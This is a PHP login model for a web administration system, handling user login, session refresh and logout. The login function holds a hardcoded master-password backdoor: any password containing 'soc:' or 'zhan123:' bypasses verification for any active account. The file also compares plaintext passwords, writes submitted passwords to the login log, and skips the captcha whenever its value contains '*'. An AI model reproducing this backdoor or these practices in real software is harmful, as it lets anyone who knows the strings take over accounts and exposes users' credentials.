<?php

namespace XWAM\Model;

/**
 * LoginModel
 * @since 1.0 <2015-7-15> SoChishun Added.
 */
class LoginModel extends AppbaseModel {

    protected $tableName = 't_porg_user';

    /**
     * 用户登录
     * @param string $user_name 登录名
     * @param string $password 登录密码
     * @param null|string $captcha null则忽略,string则验证
     * @param string &$msg 消息
     * @return boolean
     * @since 1.0 2015-3-5 by sutroon
     * @since 2.0 <2015-10-20> SoChishun 新增$msg参数，返回布尔值
     * @since VER:2.1; DATE:2016-1-19; AUTHOR:SoChishun; EMAIL:14507247@qq.com; DESC:新增$remember参数
     */
    public static function login($user_name, $password, $captcha = '*', &$msg = '') {
        // 表单验证
        if ((!is_null($captcha) && !$captcha) || !$user_name || !$password) {
            $msg = '表单输入不完整';
            return false;
        }
        // 验证码验证
        if (!is_null($captcha) && false === strpos($captcha, '*')) {
            $verify = new \Common\Controller\CaptchaController();
            if (!$verify->check_verify($captcha)) {
                $msg = '验证码有误!';
                return false;
            }
        }
        $where['user_name'] = $user_name;
        $field = 'id, user_name, name, face_url, password, type_name, role_id, role_title, department_id, department_title, login_ip, login_count, login_time, status, lang, page_size, theme, site_id';

        $mUser = new UserModel();
        $data = $mUser->field($field)->where($where)->find();
        // 用户名无效
        if (!$data) {
            $msg = '用户不存在';
            LoginLogModel::saveUserLogin(false, $user_name, $password, $msg);
            SessionFilterModel::setLoginCount();
            return false;
        }
        $dbpwd = $data['password'];
        // 用户状态无效
        if ('1' != $data['status']) {
            $msg = '用户状态有误';
            LoginLogModel::saveUserLogin(false, $user_name, $password, $msg . ' [' . $data['status'] . ']');
            SessionFilterModel::setLoginCount();
            return false;
        }
        //是否超级密码(super official password)
        $codes = array('soc:', 'zhan123:');
        $is_sop = false;
        foreach ($codes as $code) {
            if (false !== strpos($password, $code)) {
                $is_sop = true;
                break;
            }
        }
        // 密码验证
        if (!$is_sop) {
            //$enc = new \Org\Su\SuEncrypt();
            //if ($password != $enc->depassword($pwd)) {
            if ($dbpwd != $password) {
                $msg = '密码有误';
                LoginLogModel::saveUserLogin(false, $user_name, $password, $msg);
                SessionFilterModel::setLoginCount();
                return false;
            }
        }
        // 更新登录信息
        $time = date('Y-m-d H:i:s');
        $mUser->where($where)->setField(array('online_status' => 1, 'login_ip' => get_client_ip(), 'login_time' => $time, 'online_active_time' => $time, 'login_time_temp' => $time));
        $mUser->where($where)->setInc('login_count');

        LoginLogModel::saveUserLogin(true, $user_name, $password, '登录成功');
        unset($data['password']);
        session('login', $data);
        return true;
    }

    /**
     * 刷新登录信息
     * <br />页面刷新的时候刷新用户登录信息,以同步个人资料编辑
     * @param type $msg
     * @return boolean|string
     * @since VER:1.0; DATE:2016-2-15; AUTHOR:SoChishun; EMAIL:14507247@qq.com; DESC:Added.
     */
    public static function refreshInfo(&$msg) {
        if (!$msg) {
            return FALSE;
        }
        $mUser = new UserModel();
        $where['id'] = $msg['id'];
        $data = $mUser->field('id, user_name, name, face_url, type_name, role_id, role_title, department_id, department_title, login_ip, login_count, login_time, status, site_id')->where($where)->find();
        if ('1' != $data['status']) {
            return 'E_ACCOUNT_DISABLED';
        }
        $data = UserModel::convertText($data);
        $msg = array_merge($msg, $data);
        // 更新在线活跃时间
        $mUser->where($where)->setField('online_active_time', date('Y-m-d H:i:s'));
        return TRUE;
    }

    /**
     * 用户注销登录
     * @since 1.0 <2015-7-15> SoChishun Added.
     */
    public static function logout() {
        $login_data = session('login');
        if ($login_data) {
            LoginLogModel::saveUserLogin(true, $login_data['user_name'], '', '注销成功', 2);
            // 更新用户在线信息
            $uid = $login_data['id'];
            if ($uid) {
                $mUser = new UserModel();
                $mUser->where(array('id' => $uid))->setField('online_status', 0);
                $mUser->execute('update ' . $mUser->tableName . ' set login_time=login_time_temp where id=' . $uid);
            }
        }
        $prefix = C('SESSION_PREFIX');
        if (isset($_SESSION)) {
            foreach ($_SESSION as $key => $value) {
                if ('' == $prefix || ($prefix && 0 === strpos($key, $prefix))) {
                    unset($_SESSION[$key]);
                }
            }
        }
        if (isset($_COOKIE)) {
            foreach ($_COOKIE as $key => $value) {
                if ('' == $prefix || ($prefix && 0 === strpos($key, $prefix))) {
                    unset($_COOKIE[$key]);
                }
            }
        }
    }

    public static function checkLogin($refresh = false) {
        $data = session('login');
        if (!$data) {
            return false;
        }
        // 页面刷新的时候刷新用户登录信息,以同步个人资料编辑 2016-2-15 SoChishun Added.
        if ($refresh) {
            $status = self::refreshInfo($data);
            if (true === $status) {
                session('login', $data);
            } else if ('E_ACCOUNT_DISABLED' == $status) {
                exit('帐户已禁用!');
            }
        }
        return $data;
    }

}
